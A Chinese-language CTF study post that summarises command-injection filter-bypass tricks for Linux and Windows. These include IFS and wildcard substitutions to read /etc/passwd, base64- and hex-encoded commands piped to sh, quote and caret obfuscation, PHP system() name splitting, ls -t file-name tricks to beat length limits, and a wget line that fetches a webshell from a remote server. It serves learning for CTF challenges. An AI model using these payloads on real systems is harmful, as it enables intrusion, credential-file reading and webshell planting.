CTF命令执行技巧总结
对于近期CTF中命令执行的学习总结
执行函数
命令执行需要执行,贴出大佬关于代码执行和系统命令执行的讲解,不详细展开。
wh0ale博客:命令执行漏洞进阶详解)
Linux绕过姿势
空格绕过
1 2 3 4 5 6 7 8 9
| $IFS $IFS$1 ${IFS} $IFS$9 < 比如cat<a.tct:表示cat a.txt <> {cat,flag.php} //用逗号实现了空格功能,需要用{}括起来 %20 %09 //php环境下
|
管道符
1 2 3 4 5
| ; //前面和后面命令都要执行,无论前面真假 | //直接执行后面的语句 || //如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句 & //前面和后面命令都要执行,无论前面真假 && //如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
|
命令拼接
1 2 3 4 5
| a=who b=ami $a$b //输出whoami q=l; w=s; e=" -al"; $q$w$e //执行ls -al命令 a=c;b=at;c=fl;d=ag; $a$b $c$d //cat flag
|
通配符
1 2 3 4 5 6 7 8 9 10
| //执行命令 cat flag /???/?[a]''[t] ?''?''?''?'' /???/?[a][t] ?''?''?''?'' cat f* cat fl[abc]g //匹配[abc]中的任何一个 cat f[a-z]ag //匹配a-z范围的任何字符 利用正则:比如要读取etc/passwd cat /???/?????? cat /???/pass* cat /etc$u/passwd //变量u未定义,则为空
|
新姿势:Linux环境变量
翻大佬博客时发现的姿势:
1 2 3
| echo ${PATH} #/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin echo ${PATH:1:9} #/usr/local ${PATH:5:1}${PATH:2:1} #拼接后是ls,执行命令
|
绕过ban位(常规操作)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| wh\o\ami //反斜线绕过 who"a"mi //双引号绕过 whoa'm'i //单引号绕过 whoam``i //反引号绕过 echo d2hvYW1p|base64 -d|sh //base64绕过,其中d2hvYW1p是whoami的base64编码 echo d2hvYW1p|base64 -d|bash //base64绕过,其中d2hvYW1p是whoami的base64编码 `echo d2hvYW1p|base64 -d` //将其base64解码,然后用反引号来执行命令 echo 77686F616D69 | xxd -r -p | bash //hex绕过,其中77686F616D69是whoami的hex编码
//$*和$@,$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt //在没有传入参数的情况下,这些特殊字符默认为空,如下: wh$1oami //不带中括号只能用一个字符在$后面 who$@ami whoa$*mi whoa${66}mi //带中括号能用任意字符,但是字符内必须相同 whoa${hh}mi //不能带符号,会被解析成奇怪的东西
|
正则 (假设/bin/cat: test: 是一个目录)
1 2 3
| /???/?[a][t] ?''?''?''?'' /???/?at ???? /???/?[a]''[t] ?''?''?''?''
|
$1、$2等和$@
1 2 3 4 5 6 7 8
| $# //是传给脚本的参数个数 $0 //是脚本本身的名字 $1 //是传递给该shell脚本的第一个参数 $2 //是传递给该shell脚本的第二个参数 $@ //是传给脚本的所有参数的列表 $* //是以一个单字符串显示所有向脚本传递的参数,与位置变量不同,参数可超过9个 $$ //是脚本运行的当前进程ID号 $? //是显示最后命令的退出状态,0表示没有错误,其他表示有错误
|
绕过ban位之cat
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| (1)more:一页一页的显示档案内容 (2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页 (3)head:查看头几行 (4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 (5)tail:查看尾几行 (6)nl:显示的时候,顺便输出行号 (7)od:以二进制的方式读取档案内容 (8)vi:一种编辑器,这个也可以查看 (9)vim:一种编辑器,这个也可以查看 (10)sort:可以查看 (11)uniq:可以查看 (12)file -f:报错出具体内容 grep 1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file 示例:grep { *??? //读flag.php
|
内敛执行绕过
1 2 3 4 5 6 7 8
| 666`whoami`666 //bash: 666root666: command not found 666`\whoami`666 //bash: 666root666: command not found //命令执行后的结果在2个666中间
w`f1hgb`ho`f1hgb`am`f1hgb`i //反引号的作用是把括起来的字符当做命令执行 w`\f1hgb`ho`\f1hgb`am`\f1hgb`i //这个反斜线作用就是平时的那种连接,反引号的作用是把括起来的字符当做命令执行 wh$(f1hgb)oa$(f1hgb)mi //和上面的差不多,都说执行和拼接
|
命令执行函数绕过(以system为例)
1 2 3 4 5 6 7 8 9 10 11
| system("cat /etc/passwd") <=> "\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd"); <=> (sy.(st).em)("cat /etc/passwd"); <=>还可以用注释方法绕过 "system/*fthgb666*/("cat /etc/passwd);" <=> "system/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);" <=> "(sy./*fthgb666*/(st)/*fthgb666*/.em)/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"
|
简单地绕过长度限制
Linux中的>符号和>>符号
(1)通过>
来创建文件
(2)通过>
将命令结果存入文件中
使用>
命令会将原有文件内容覆盖,如果是存入不存在的文件名,那么就会新建该文件再存入
Linux中命令换行
在Linux中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加\
,可以将一条命令写在多行
比如一条命令cat flag
可以如下表示
1 2 3 4 5
| root@kali:~# ca\ > t\ > fl\ > ag this is your flag
|
既然可以这样那我们是不是可以在某些限制长度的情况下执行命令,将命令一条一条输入一个文本中再执行,尝试一下
1 2 3 4 5 6 7 8 9 10 11
| root@kali:~# echo "ca\\">cmd root@kali:~# echo "t\\">>cmd root@kali:~# echo " fl\\">>cmd root@kali:~# echo "ag">>cmd root@kali:~# cat cmd ca\ t\ fl\ ag root@kali:~# sh cmd this is your flag
|
用这种方法可以绕过一些长度限制读取文件内容
利用ls -t和>以及换行符绕过长度限制执行命令(文件构造绕过)
在linux
中,我们使用ls -t
命令后,可以将文件名按照时间顺序排列出来(后创建的排在前面)
1 2 3 4 5
| root@kali:~/example# touch a root@kali:~/example# touch b root@kali:~/example# touch c root@kali:~/example# ls -t c b a
|
我们来看看ls -t>ghtwf01
有什么效果(开始不存在ghtwf01
这个文件)
1 2 3 4 5 6
| root@kali:~/example# ls -t>ghtwf01 root@kali:~/example# cat ghtwf01 ghtwf01 c b a
|
这条命令先执行了创建ghtwf01
文件然后将ls -t
的执行结果写入ghtwf01
文件
我们试试用这些方法来执行命令cat flag
1 2 3 4 5 6 7 8 9 10 11
| root@kali:~/example# > "ag" root@kali:~/example# > "fl\\" root@kali:~/example# > "t \\" root@kali:~/example# > "ca\\" root@kali:~/example# ls -t 'ca\' 't \' 'fl\' ag flag root@kali:~/example# ls -t > a root@kali:~/example# sh a a: 1: a: not found this is your flag a: 6: flag: not found
|
读取到了flag
内容为this is your flag
,无论这个文件里面有不有其它内容都能执行
总而言之文件构造绕过就是如下知识:
1 2 3
| linux下可以用 1>a创建文件名为a的空文件 ls -t>test则会将目录按时间排序后写进test文件中 sh命令可以从一个文件中读取命令来执行
|
反弹shell
命令比较长就可以用这种方式去绕过长度限制
如果服务器能连外网还可以使用命令wget 网址 -O shell.php
去执行我们自己vps
上面的木马文件
无字母数字绕过
我学了,啥都看不懂,有什么好说的。
羽师傅博客:无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)
P神博客:无字母数字webshell之提高篇
P神博客:一些不包含数字和字母的webshell
Firebasky博客:无字母数字的命令执行(ctfshow web入门 55)
Windows绕过姿势
符号与命令
1 2 3 4 5
| whoami //正常执行 w"h"o"a"m"i 或"w"h"o"a"m"i"或"w"h"o"a"m"i或w"h"o"a"m"i"//正常执行 who^ami或wh""o^a^mi 或wh""o^a^mi"//正常执行 但是"wh""o^a^mi"这种在开头就有单引号的情况是不能执行的 (Whoami)或(Wh^o^am""i)或((((Wh^o^am""i)))) //正常执行 注:可以加无数个"但不能同时连续加2个^符号,因为^号是cmd中的转义符,跟在他后面的符号会被转义
|
管道符
1 2 3 4
| | //直接执行后面的语句 || //如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句 & //前面和后面命令都要执行,无论前面真假 && //如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
|
set命令
知识点:用两个%括起来的变量,会输出变量的值
1 2 3
| set a=1 //设置变量a,值为1 echo a //此时输出结果为"a" echo %a% //此时输出结果为"1"
|
接下来的进阶利用就是:
1 2 3 4
| set a=who set b=ami %a%%b% //正常执行whoami call %a%%b% //正常执行whoami
|
所以,上述的符号与命令部分的所有操作,都可以通过set来实现,只需要慢慢拼接就ok
切割字符:
1 2 3 4
| set a=whoami %a:~0% //取出所有字符,所以正常执行命令 %a:~0,6% //从开始切割6个字符,刚好是whoami,所以正常执行 %a:~0,5% //切割后是whoam,不是系统命令,不能执行
|
注:上述可以使用减号,和python的切割效果差不多
所以,可以考虑的东西就来了:
1 2
| set a=abc qwe //先自定义 wh^o^%a:~0,1%mi //然后截断整理后就变成了:wh^o^ami,所以命令执行成功
|
可以简单地写出webshell
参考链接:
Bowu博客:CTF之命令执行绕过总结
NPFS博客:命令执行绕过小技巧
ghtwf01博客:命令执行漏洞利用及绕过方式总结
羽师傅博客:无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)
P神博客:无字母数字webshell之提高篇
P神博客:一些不包含数字和字母的webshell
Firebasky博客:无字母数字的命令执行(ctfshow web入门 55)
还有文中直接引用的博客部分。